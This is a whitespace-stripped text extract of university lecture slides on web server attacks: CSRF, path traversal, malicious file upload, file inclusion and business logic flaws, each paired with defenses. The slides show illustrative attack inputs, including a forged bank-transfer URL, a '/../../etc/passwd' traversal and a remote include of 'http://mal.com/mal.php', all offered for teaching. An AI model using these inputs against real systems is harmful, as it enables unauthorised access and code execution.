Top Banner
Web Security Cross-Site Request Forgery Attacks on Servers 28/02/17 Web Security 1
44

Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

May 30, 2020

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

WebSecurityCross-SiteRequestForgery

AttacksonServers

28/02/17 Web Security 1

Page 2: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

Cross-SiteRequestForgery

Page 3: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

Cross-SiteRequestForgery(CSRF)• Maliciouswebsitehasscriptthatredirectsandissuesarequestontargetwebsite– E.g.,document.location =“https://bank.com/wiretransfer.php?amount=10000&recipient=Attacker&account=2567”

• Ifuserisalreadyloggedinontargetwebsite…• Requestisexecutedbytargetwebsiteonbehalfofuser

– E.g.,fundsaretransferredfromtheusertotheattacker

28/02/17 Web Security 3

Page 4: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

LoginCSRF• Malicioussiteincludeslinkorformthatlogsinvictimwithattacker’saccountonCSRFvulnerablesite

• Subsequentvictim’sinteractionwithCSRFvulnerablesiteissharedwithattacker– Navigationinvulnerablesite– Datasuppliedtovulnerablesite– …

28/02/17 Web Security 4

Page 5: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

CSRFTrustRelationship

• Vulnerablesitetrustsuser(login)

• Usertrustsevilsite

• Evilsitecouldbehackedlegitimatesite

28/02/17 Web Security 5

Victim’sBrowser

CSRFVulnerableWebsite

EvilWebsite

MaliciousRequest

LegitimateRequest

Login

Page 6: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

CSRFServer-SideDefenses• Synchronizertoken

– RandomtokenembeddedbyserverinallHTMLformsandverifiedbyserver

– CSRFrequestrejectedbecauseattackercannotguesstoken

• CustomHTTPheader– Onlogin,websitesetsacookiecontainingrandomvalue– ClientsidescriptreadscookieandcopiesitintocustomHTTPheadersentwitheachtransactionalrequest

– SecuritybasedonbrowsernottransmittingcustomHTTPheadersacrossdifferentservers

28/02/17 Web Security 6

Page 7: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

FirefoxAdd-onRequestPolicy(RP)

• RPsetsdefaultdenypolicyforcross-siterequests

• Cross-siterequestsarethosemadetoasitedifferentfromcurrentone

• RPallowstowhitelistcross-siterequestsbyoriginand/ordestinationsite

28/02/17 Web Security 7

Page 8: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

ImproperPathSanitization

Page 9: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Problem:onlysomepathsarevalid;whichones?

• Improperpathsanitizationcanleadtodisallowedresourcesbeingaccessed

• Whatsortsofresources/pathsmightwewanttomakeoff-limits?

Page 10: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Whatsortsofresources/pathsmightwewanttomakeoff-limits?

–Configurationfiles(e.g.,Apache’s.htaccess)–Filesoutsidethewebroot–Filesoutsidetheuploaddirectory–etc

Page 11: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#1:Blacklists–e.g.,“/foo/bar isofflimits”

• What’swrongwiththis?

Page 12: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#1:Blacklists–e.g.,“/foo/bar isofflimits”

• What’swrongwiththis?–Multiplepathscanrefertothesameresource– /foo/bar– /foo//bar– /foo/../foo/bar– /foo/bar/baz/..

Page 13: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#1:Blacklists–e.g.,“/foo/bar isofflimits”

• What’swrongwiththis?–Whataboutpathsoutsidethewebroot?– /../../etc/passwd– Becomes/var/www/../../etc/passwd– (e.g.,/etc/passwd)

Page 14: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#2:Whitelists–e.g.,“only/foo/bar or/baz/blah areallowed”

• What’swrongwiththis?

Page 15: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#2:Whitelists–e.g.,“only/foo/bar or/baz/blah areallowed”

• What’swrongwiththis?–Howtokeepthewhitelistuptodate?–Howtobenicetousers

• e.g.,/foo//bar isreally/foo/bar

Page 16: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#3:ParsePaths–e.g.,determinethatfoo.com/bar doesn’tescapewebroot

• What’swrongwiththis?

Page 17: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Attempt#3:ParsePaths–e.g.,determinethatfoo.com/bar doesn’tescapewebroot

• What’swrongwiththis?–Correctparsingishard

Page 18: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

ImproperPathSanitization

• Solution–Whenpossible,useexistingimplementations

• Apachedoesthiscorrectly- useit

–Forcustomlogic,don’tusepaths• Storedataindatabases• Don’tusesubfolders

– e.g.,/var/uploads,my-upload.pdf– filterbadcharacters(/, \0)orbadnames(.., .)

Page 19: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

FileUpload

Page 20: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Apache’sPHPpluginwillexecute*.php• Whathappensifthere’sanuploaddirectoryinsidethewebroot?

–e.g.,/var/www/upload

Page 21: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Apache’sPHPpluginwillexecute*.php• Whathappensifthere’sanuploaddirectoryinsidethewebroot?

–e.g.,/var/www/upload• Uploadmal.php• Visitfoo.com/upload/mal.php• Profit!

Page 22: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Howtofix?

Page 23: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Attempt#1:Disallow.php extension• Whatcouldgowrong?

Page 24: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Attempt#1:Disallow.php extension• Whatcouldgowrong?

–WhatifIwanttouploadaPHPfile?–Notsufficientforsomeconfigurations...

Page 25: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

<!-- date.html --><html><head><title>My Page</title></head><body>

<p>Date: <?php echo date(); ?></p></body></html>

Page 26: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Uploadfoo.html:<html>

<?php do_bad_thing(); ?></html>

Page 27: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Uploadfoo.html:<html>

<?php do_bad_thing(); ?></html>

• Howtofix?

Page 28: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Attempt#2:Disallow*.php,*.html• And verifythatit’saproperlyformattedfile• Forexample,limittothesefiletypes:

–JPEG–PDF

• Whatcouldgowrong?

Page 29: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload

• Whatcouldgowrong?–JPEGsupportscomments,soembedPHPinJPEGcommentfield

–Evenifitdidn’t,wecouldstillcrafttherightpixelsequences:\x3C\x3F\x70\x68\x70 - <?php \x3F\x3E - ?>

• Howtofix?

Page 30: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileUpload• Solution:don’tservefilesdirectly• Bad:foo.com/upload/foo.pdf• Good:foo.com/get.php?file=foo.pdf• Implementcustomlogicinget.php• Don’tallowaccesstouploaddirectory

– Storeoutsideofwebroot– Ifthat’snotpossible,use.htaccess orsimilar

• Watchoutforpathvulnerabilities,though!

Page 31: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

FileInclusion

Page 32: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion• PHP(andotherlanguages)allowdynamicincludes

include(‘lib.php’); • Imagineasitewithdynamically-generatedinclude:

lang = $_GET[‘lang’];include($lang . ‘.php’);

• Whatcouldgowrong?

Page 33: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion• Let’ssaythere’sanadd-user.php

– Onlyincludedafterauthenticationasadmin– Can’tloaddirectly- foo.com/add-user.php

• Visitfoo.com/blah.php?lang=add-user&user=mallory&pass=l337hax0r

• Makestheinclude:include(‘add-user.php’);

Page 34: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion• Canwedobetter?• ManyPHPfunctionstreatpathsasbeingfilepathsor

URLs…• Whatcouldgowrong?

Page 35: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion• Canwedobetter?• ManyPHPfunctionstreatpathsasbeingfilepathsor

URLs…• Whatcouldgowrong?

– foo.com/blah.php?lang=http://mal.com/mal• Makestheinclude:

include(‘http://mal.com/mal.php’);

Page 36: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion

• Solution?

Page 37: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

FileInclusion

• Solution– Ifyouneedtodynamicallyincludefiles,keepapre-setlist:lang_files = array(‘en-US’ => ‘en-us.php’,‘en-GB’ => ‘en-GB.php’,‘en-l337’ => ‘en-l337.php’);

Page 38: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

BusinessLogicFlaws

Page 39: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• “Businesslogic”isthehigh-levellogicbehindawebapplication’sfunctionality–E.g.,“Ausermustpaybeforehavinganitemshippedtothem”

• Flawsintheimplementationofthislogic(orflawsinthelogicitself)canbeserious

• Chapter11ofWAHH

Page 40: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Oftencomefromamismatchbetweendeveloperassumptionsandreality

• Sincetheydifferwidely,besttogiveexamples• Thesearerealexamplesfromrealapplications

Page 41: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Example1:CheatingonBulkDiscounts–Siteoffersbulkdiscountsongroupofitems–Whenanewitemisaddedtothecart,ifabulkdiscountapplies,thepricesofallitemsareloweredappropriately

–Whatcouldgowrong?

Page 42: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Example1:CheatingonBulkDiscounts–Siteoffersbulkdiscountsongroupofitems–Whenanewitemisaddedtothecart,ifabulkdiscountapplies,thepricesofallitemsareloweredappropriately

–Whatcouldgowrong?– Addmanyitemstothecart,loweringprices– Deletemostofthem,checkoutwithacheapitem

Page 43: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Example2:ProceedingtoCheckout– Inashoppingcartapplication,whencheckingout,userisdirectedthroughaseriesofpages:

• Fromcart,click“checkout”button• Redirectedtopagetoenterpaymentdetails• Ifpaymentverifies,redirectedtoshippingdetails• Aftershippingdetailsverified,orderiscomplete• Whatcouldgowrong?

Page 44: Web CSRF and Attacks - pdfs.semanticscholar.org€¦ · CSRF Server-Side Defenses •Synchronizer token –Random token embedded by server in all HTML forms and verified by server

© 2016 J. Liebow-Feeser, B. Palazzi, R. Tamassia, CC BY-SA 2.5Brown University CS166

BusinessLogicFlaws

• Example2:ProceedingtoCheckout– Inashoppingcartapplication,whencheckingout,userisdirectedthroughaseriesofpages:

• Fromcart,click“checkout”button• Redirectedtopagetoenterpaymentdetails• Ifpaymentverifies,redirectedtoshippingdetails• Aftershippingdetailsverified,orderiscomplete• Whatcouldgowrong?• Godirectlytoenteringshippingdetails,skippayment